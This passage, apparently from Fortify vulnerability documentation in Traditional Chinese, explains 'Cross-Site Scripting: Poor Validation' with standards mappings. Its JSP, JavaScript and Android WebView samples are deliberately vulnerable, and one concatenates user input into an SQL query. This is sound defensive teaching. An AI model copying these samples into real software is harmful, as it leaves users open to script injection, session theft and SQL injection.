[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.golang.cross_site_scripting_poor_validation
Abstract
如果依賴 HTML、XML 和其他類型的編碼來驗證使用者輸入,可能會導致瀏覽器執行惡意程式碼。
Explanation
使用特定編碼建構,例如具有 escapeXml="true" 屬性 (預設行為) 的 <c:out/> 標籤能夠防止部分,但非全部的 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、& 和 ",以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元,可能會有中繼意義。依賴這類編碼建構等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使已套用編碼,Fortify Static Code Analyzer 還是會報告 Cross-site scripting 發現,並將其顯示為 Cross-Site Scripting: Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入 Web 應用程式。如果是 Reflected XSS,不可信賴的來源大多為 Web 要求;如果是 Persistent XSS (也可稱為 Stored XSS),來源大多為資料庫查詢結果。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 JSP 程式碼片段會從 HTTP 要求中讀取員工識別碼 eid,並透過 <c:out/> 標籤將其向使用者顯示。


Employee ID: <c:out value="${param.eid}"/>


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下 JSP 程式碼片段會在資料庫中查詢具有指定識別碼的員工,並透過 <c:out/> 標籤列印相應的員工姓名。


<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>

Employee Name: <c:out value="${name}"/>


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

有人認為在行動環境中,典型的 Web 應用程式弱點 (例如跨網站指令碼) 不會產生影響,因為使用者為何會攻擊自己呢?但是請謹記,行動平台的本質是從多種來源下載,並在相同裝置上一起執行的應用程式。在金融應用程式旁執行惡意程式碼的可能性很高,這必然會擴大行動應用程式的受攻擊面,將程序之間的通訊包括在內。

範例 3:以下程式碼會在 Android 的 WebView 中啟用 JavaScript (預設狀況下停用 JavaScript),並根據從 Android 用意接收的值載入頁面。


...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(URLEncoder.encode(url));
...


url 的值以 javascript: 開頭,隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 3 所述,應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。

有許多現代的 Web 架構提供執行使用者輸入驗證的機制 (包括 Struts 和 Struts 2)。為了突顯未驗證的輸入來源,Fortify 安全編碼檢查規則會降低 Fortify Static Code Analyzer 所報告之問題的攻擊可能性,並在使用框架驗證機制時提供支援證據的指標,以動態重新排列其優先順序。我們將此功能稱為「內容相關性排名」。為了進一步協助 Fortify 使用者進行稽核程序,Fortify Software 安全研發團隊提供了資料驗證專案範本,該範本會依據套用到其輸入來源的驗證機制,按資料夾對問題進行分組。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_poor_validation
Abstract
如果依賴 HTML、XML 和其他類型的編碼來驗證使用者輸入,可能會導致瀏覽器執行惡意程式碼。
Explanation
使用特定編碼功能可防止部分,但不是所有的 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、& 和 ",以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元,可能會有中繼意義。依賴這類編碼功能等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使套用編碼,並以 Cross-Site Scripting 來加以顯示,Fortify Secure Coding Rulepacks 還是會報告 Cross-Site Scripting 發現:Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在基於 DOM 的 XSS 案例中,會從 URL 參數或瀏覽器內的其他值來讀取資料,並以用戶端程式碼回寫到頁面中。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。在基於 DOM 的 XSS 案例中,一旦受害者的瀏覽器開始剖析 HTML 頁面,就會開始執行惡意內容,且成為建立 DOM (Document Object Model,文件物件模型) 的一部分。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 JavaScript 程式碼片段會從 HTTP 要求中讀取員工識別碼 eid,將識別碼去除,然後顯示給使用者。


<SCRIPT>
var pos=document.URL.indexOf("eid=")+4;
document.write(escape(document.URL.substring(pos,document.URL.length)));
</SCRIPT>



如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 直接從 HTTP 要求讀取資料,並直接回傳至 HTTP 回應。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料記憶體中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_poor_validation
Abstract
如果依賴 HTML、XML 和其他類型的編碼來驗證使用者輸入,可能會導致瀏覽器執行惡意程式碼。
Explanation
使用特定編碼建構,例如具有 escapeXml="true" 屬性 (預設行為) 的 <c:out/> 標籤能夠防止部分,但非全部的 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、& 和 ",以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元,可能會有中繼意義。依賴這類編碼建構等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使已套用編碼,Fortify Static Code Analyzer 還是會報告 Cross-site scripting 發現,並將其顯示為 Cross-Site Scripting: Poor Validation 問題。

Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。如果是 Reflected XSS,不可信賴的來源大多為 Web 要求,而如果是 Persistent XSS (也可稱為 Stored XSS),來源大多為資料庫查詢結果。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

